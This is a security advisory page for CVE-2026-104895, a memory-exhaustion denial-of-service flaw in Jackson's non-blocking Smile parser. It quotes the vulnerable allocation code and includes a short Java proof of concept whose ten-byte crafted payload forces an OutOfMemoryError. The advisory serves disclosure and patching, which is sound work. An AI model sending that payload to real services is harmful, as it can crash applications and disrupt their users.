CVE-2026-104895

Denial of Service
Affects
jackson-dataformat-smile
in
Jackson
No items found.
Versions
< 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4

Patch Available.

Exclamation circle icon
Patch Available

This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.

Overview

jackson-dataformat-smile is the Smile data-format backend of the FasterXML Jackson suite. It is one of the binary dataformat modules in the jackson-dataformats-binary repository, providing a Jackson streaming parser and generator for Smile, a compact binary encoding of the JSON data model, including a non-blocking (async) parser for event-driven input.

A Denial of Service (DoS) vulnerability (CVE-2026-104895) has been identified in jackson-dataformat-smile, which allows attackers to exhaust process memory with a small, crafted Smile document fed to the non-blocking (async) parser. The parser allocates a buffer of the attacker-declared raw-binary length before any content has arrived, so a few bytes declaring a multi-gigabyte length force a large allocation that can crash the JVM.

Per OWASP: The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed.

This issue affects versions < 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4 of jackson-dataformat-smile.

Details

Module Info

Vulnerability Info

This High-severity vulnerability is found in the jackson-dataformat-smile package in versions < 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4 of Jackson. The non-blocking Smile parser, NonBlockingByteArrayParser, handles a raw binary value (Smile type byte 0xFD) by decoding its declared length and immediately allocating a byte[] of that size, before any of the value's content has been fed to the parser. An attacker who can submit Smile input to an application that uses the async parser can declare a very large length in only a handful of bytes and force the allocation up front.

In _startRawBinary, the decoded length is used directly as the array size:

protected final JsonToken _startRawBinary() throws IOException
{
    if ((_inputPtr + 5) > _inputEnd) {
        return _finishRawBinaryLen(0, 0);
    }
    final int len = _decodeVInt();
    _binaryValue = new byte[len];
    _pending32 = len;
    _inputCopyLen = 0;
    return _finishRawBinaryBody();
}

The chunked length path in _finishRawBinaryLen does the same, and its VInt accumulation has no 31-bit overflow check: it only guards against a VInt spanning more than five data bytes, so the final value can wrap to a negative number or to a very large positive one, and is then used verbatim as the allocation size:

int b = _inputBuffer[_inputPtr++];
if (b < 0) { // got it all; these are last 6 bits
    final int len = (value << 6) | (b & 0x3F);
    _binaryValue = new byte[len];
    _pending32 = len;
    _inputCopyLen = 0;
    return _finishRawBinaryBody();
}
// can't get too big; 5 bytes is max
if (++bytesRead >= 5 ) {
    _reportError("Corrupt input; 32-bit VInt extends beyond 5 data bytes");
}
value = (value << 7) | b;

Because the length is never validated and the allocation is not deferred until the content is actually available, a declared length near Integer.MAX_VALUE raises OutOfMemoryError (or, for a length that decodes negative, NegativeArraySizeException) from a tiny input, taking down the parsing thread or the whole process.

Steps to Reproduce

1. Build a Smile document that is only a header followed by a raw binary marker and a length prefix declaring roughly one gigabyte, with no binary content.

2. Feed it to a NonBlockingByteArrayParser and advance to the first token.

import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
import com.fasterxml.jackson.dataformat.smile.SmileFactory;

public class Repro {
    public static void main(String[] args) throws Exception {
        // Smile header, raw binary marker (0xFD), then a VInt length of ~1 GiB.
        byte[] doc = { ':', ')', '\n', 0x04, (byte) 0xFD, 0x08, 0x00, 0x00, 0x00, (byte) 0x80 };
        JsonParser p = new SmileFactory().createNonBlockingByteArrayParser();
        ((ByteArrayFeeder) p.getNonBlockingInputFeeder()).feedInput(doc, 0, doc.length);
        p.nextToken();
    }
}

Running this against an affected version with a modest heap (for example a 256 MB maximum) throws OutOfMemoryError from inside NonBlockingByteArrayParser while decoding the raw binary length, even though no binary content was ever supplied.

Mitigation

Only recent versions of Jackson are community-supported. Release lines the project has closed are End-of-Life and will not receive community updates addressing this issue. Branch status is published on the project's own Jackson Releases page.

Users of the affected components should apply one of the following mitigations:

  • Upgrade jackson-dataformat-smile to a currently supported release containing the fix, such as 2.18.12, 2.21.8, 2.22.4 or later.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

Vulnerability Details
Severity
Level
CVSS Assessment
Low
>=0 <4
Medium
>=4 <6
High
>=6 <8
Critical
>=8 <10
High
ID
CVE-2026-104895
PROJECT Affected
jackson-dataformat-smile
Versions Affected
< 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4
NES Versions Affected
Published date
October 23, 2026
≈ Fix date
October 23, 2026
Category
Denial of Service
Vex Document
Download VEXHow do I use it?
Sign up for the latest vulnerability alerts fixed in
NES for Jackson
Rss feed icon
Subscribe via RSS
or

By submitting the form I acknowledge receipt of our Privacy Policy.

Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.